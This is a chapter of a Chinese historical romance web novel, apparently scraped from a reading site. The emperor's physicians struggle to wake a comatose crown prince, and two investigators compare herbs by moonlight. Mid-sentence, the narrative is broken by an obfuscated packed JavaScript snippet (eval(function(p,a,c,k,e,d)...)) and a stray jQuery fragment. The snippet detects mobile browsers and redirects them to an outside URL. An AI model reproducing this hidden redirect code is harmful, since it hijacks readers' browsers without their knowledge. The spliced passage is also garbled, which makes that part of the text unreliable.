“不曾宣之于口的情绪,总要找个出口。这样的晏保宁,才算真正多了些活气儿”
活气!
晏保宁心里像是被狠狠敲了一下,林浮闲像是巫师般,带着引导的力量
“案件需要突破口,情绪也是如此。无论找到的是何种抒发点,愤怒也好,委屈也罢”
他看着她,声音温柔而坚定
“都该让它抒发出来。强行让自己保持镇定,只会如同潜藏的病灶,在你不经意时,带来更大的麻烦”
“对自己,不妨……宽容些”
如同一股暖流,猝不及防冲垮她心中一直以来自责的沙土堤坝。晏保宁一直以为自己隐藏的很好,原来,如此明显吗?
眼眶微微发热,她急忙转移话题
“那我们双管齐下,我去盯紧草药的事,至于王浩交给你了”
“好”
她垂下眼帘,轻轻吁出一口气,紧绷的肩膀在归去的马车上也放松下来
皇城内
数十位太医跪在太子殿外,接受着来自武帝的怒火
茶盏的破碎炸开稀碎的瓷片,离得过近的老太医脸上被划开血口,刘进才被吓得浑身止不住发抖,他可不想死啊!
“废物,都是一群废物!”
侍立在侧的李顺双膝一软,无声地跪伏下去,额头死死抵在冰冷的地面上,连呼吸都已屏住。整个殿内侍立的宫人,齐刷刷跪倒一片
武帝没有看他们,甚至没有看一眼地上的狼藉。他极其缓慢地从龙椅上站了起来,平定心绪后寂静被他本人打破
“说”
“为何太子殿下还不曾醒来”
明明致命伤在十几位太医通力合作下已然度过危险期,可偏偏越瑾就是没有睁眼迹象
无人敢应声
“若无人说,那便将你们这些无用之人都换一批好了”
他嘴角甚至抿出笑意,看得李顺心头一颤,这是要对太医院动真格
“陛下...臣或许可知原因”
在队伍中间的刘进才颤巍巍挪动出来,官袍因为恐惧肉眼可见的晃动
在对上武帝视线的一刻,他又急忙跪下,额头紧贴冰冷的地面。要想在太医院出人头地,医术高明又如何,没有根基,没有人脉的他浑浑噩噩几十年了,只能抓住这天赐的机会
武帝没有立刻说话,他死死盯着那个伏在地上的苍老身影,胸膛依旧剧烈起伏,但那股暴怒的气息转化为危险的、审视的平静
“说”
压迫感迫使所有人目光在这个平日不甚起眼太医身上
“回...回禀陛下…殿下外伤虽重,但……但依脉象与气息看,性命……性命应已无大碍”
“迟迟不醒非尽因体肤之痛,或…或是脑中受了震荡,淤血未散,闭塞清窍…亦或…亦或……”
他顿住了,似乎在犹豫下面的话该不该说,能不能说
武帝的眉头死死拧紧,耐心正以肉眼可见的速度消失
“亦或什么?”
刘进才闭上眼睛,仿佛豁出去一般,急促地说道
“亦或殿下心神受创极重,自行封闭了五感,有不愿醒来面对之事”
“不愿醒来?”
武帝重复了一遍,声音听起来像是嘲笑他话中所言
“你的意思是,孤的太子,不怕受伤,倒是中了心魔?”
“臣不敢!”
本就提着一口气的人几乎要晕厥过去,一把年纪的人声音都带着带着哭腔
“陛下明鉴!也许也并非殿下本意,实乃人之神魂遭受巨创时,身体自发之保护,若要唤醒殿下,需以安神定惊之药徐徐图之”
“加之辅以亲近之人耐心呼唤,或可…或可唤醒殿下神识”
他说完,整个人仿佛虚脱了一般,瘫软在地,只剩下细微的颤抖
亲近之人,武帝脑海中闪过一抹身影,但又很快打消这个念头,他沉默半晌,将除了刘进才的太医通用打发离开
“刘太医,你说太子亲近之人该是谁?”
此时刘进才反倒成了惊弓之鸟,陛下记得他姓刘,当真比刚刚还让人震惊
“除了陛下,臣斗胆猜测也许太子殿下更想见之人...是前五皇子妃罢”
“大胆!”
刚刚直起的腰杆又弯了下去,自从洁洲回都城后,他便发现陛下的脾气愈发阴晴不定
“臣鲁莽...臣只是猜测,只是当务之急是要尽快让殿下醒来”
“李顺”
武帝终于在斟酌再三后开口,一直在外候命的人急忙进来
“亲近之人必不可得”
他目光扫过进来站定的人,吩咐道
“你,带着刘太医,去太子寝殿。将太子平日最珍视、最常触碰之物,尤其是……能牵动心绪的,都给孤找来”
“臣遵旨”
李顺几乎借了自己全部力道给连滚带爬站起身的太医,酿呛地离开有些令人窒息的大殿
“刘太医,不是咱家说你莽,你这是要把脑袋系在裤腰带上”
人精似的在宫里当上大太监的人如何看不出他心中的小九九,不过刚刚他刚刚说得话本就有理
五皇子提前发动对姜家的清算,绝对是因为曾经的五皇子妃,如今的安宁郡主
越瑾的宫殿太“干净”了,干净的不像一个皇子住过的地方,他们小心翼翼地翻看了书架、桌案、枕边
凡事触手所及,皆是宫制之物,华丽却毫无个人印记,更别提什么能牵动心绪的“珍视之物”了
“这如何回去交差”
李顺摊手,只怕自己也免不得被迁怒
刘进才脑门也沁出细密的薄汗,他也没想到竟能一无所获,想想没耐心的陛下,自己脖子感到一股钝痛
就在绝望渐渐蔓延至心尖之际,黑暗中一个角落里的包裹引起他的注意
“李公公,您瞧...”
这包袱大概是从南边匆忙回来时越瑾手下帮忙带回的贴身之物
来不及瞻前顾后,刘进才冲上前,三下五除二便将其解开。除了几卷书轴,还有几套干净衣物,一个木匣让他眼冒精光
开启前,两人心跳清晰可闻
躺在木匣的,是一支白玉断簪!
“这...这...”
李顺一时之间不知说什么好,这物件算是珍爱之物,可真的不会让殿下更醒不过来吗?
捧在手心许久,武帝一声叹息后缓缓伸出手,最终
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763971|190171||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是小心地,拈起了那两节断簪
“也罢”
“便试试吧”
偏偏灵验的事发生了,在掰开越瑾手心将断簪放入的一刻,他的意识也开始挣扎......
“呼——”
晏保宁倏地起身,做了一场噩梦,背后的衣襟湿了大半,她起身换了一套爽利小衣,只是困意也烟消云散
不妨对自己宽容些,日间林浮闲的话一直萦绕在她心头,直到睡下脑子里不断闪过这几年的经历和这句话交织的场景
她自小喜欢看话本,以前觉得话本里的故事太假,总是为了吸引看客凭空捏造主角的人生经历,大起大落,看完后又会回味无穷
如今回头看看自己的人生,不知是谁写的话本如此跌宕起伏,也是让自己过上了主角的生活
“咚咚咚—”
“谁?”
“是我”
林浮闲手中端着一碗黑黢黢的东西站在门外
“我在院中试着辨认今日采的草药,不知是不是闻了太久,鼻子开始辨不清五味,你要不要帮我?”
晏保宁不解,但还是披上一件外衣同他出去
“不是有专人辨别这些草药,你怎么自己一个人在院子捣腾这些?”
夜已深,唯有月光将小院照的朦朦胧胧,只见林浮闲挽起了袖口,露出线条流畅的小臂,正专注地用石杵捣着白日采回的草药,动作不疾不徐,与这静谧的夜色浑然一体
“左右睡不着,不如自己也比对一遍,这样也可有个映证”
他手指了指面前同样几个黑黢黢的药碗,邀请这个同样睡不着的人一同辨别气味
“这三碗是我先挑出来,无论是气味还是色泽都于曹岑发间碎屑相似的,劳烦你再帮我辨认,可好?”
晏保宁接过坐在小凳上,凑近鼻尖,仔细分辨,又不时拿着原株草药仔细观察
“这一碗有些辛辣气味”
她摇摇头放置一边
“这一碗似乎清香之余多了几分沉郁的苦香...似乎苦香味更浓厚”
“那...便只剩下这一碗”
林浮闲端起筛选过后的最后保留
晏保宁颔首,又拿起细细闻了闻,用食指在虎口处抿开借着月光观察干涸后的色泽
“是”
突然起身的人呆住站在原地,晏保宁抬头疑惑盯着他
“你?怎么了?”
林浮闲有些不自然别开脸,轻咳一声道
“蹲了许久,脚有些麻”
“留下这一碗明日同药倌比对”
他忽略晏保宁一愣之后没忍住轻笑出的声音
“夜深了,回去歇息吧”
归置好手中的石杵,温声提醒
晏保宁抬起头,对上他映着月光的眼眸,心中没了刚刚的烦闷,笑着打趣
“若是这些草药能治脚麻,恰好世子可以就地取材”
笑容太过晃眼,林浮闲不止控制不住脚下的酸麻,甚至心头的情绪也有些控制不住
“如此也只能怪我未能料事如神了”
“世子殿下,明日见”
晏保宁也将木凳挪到石桌下,免得夏夜的雨猝不及防打湿它
“恩”